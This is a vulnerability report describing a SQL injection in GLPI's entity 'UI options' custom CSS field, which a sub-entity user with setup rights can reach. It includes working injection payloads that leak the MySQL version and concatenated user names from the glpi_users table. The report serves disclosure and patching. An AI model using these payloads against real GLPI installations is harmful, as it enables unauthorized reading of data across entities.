SQL Injection in glpi-project/glpi
Nov 13th 2021
A user with only the following rights (on a sub-entity):
- Setup > General setup (Read + Update)
- Administration > Entity (Read + Update) is authorized to update "UI options" field from "UI customization" tab of an entity's configuration.
This customization option is not correctly escaped, allowing to launch SQL injection.
Proof of Concept
The normal SQL update query is:
UPDATE `glpi_entities` SET `custom_css_code` = 'my custom css' WHERE `id` = '1';
If we use the following code in the "UI options" field:
', comment = (SELECT version());#
Executed query becomes:
UPDATE `glpi_entities` SET `custom_css_code` = '', comment = (SELECT version());# WHERE `id` = '1';
Then MySQL server version can be found in the "Comments" field of all entities (even those for which the user doesn't have the rights).
Obviously this is only an example, we can also use this query (or from any GLPI table):
', comment = (SELECT GROUP_CONCAT(name) from glpi_users);#
This vulnerability is capable of retrieve normally inaccessible data (GLPI data, system data, mysql data).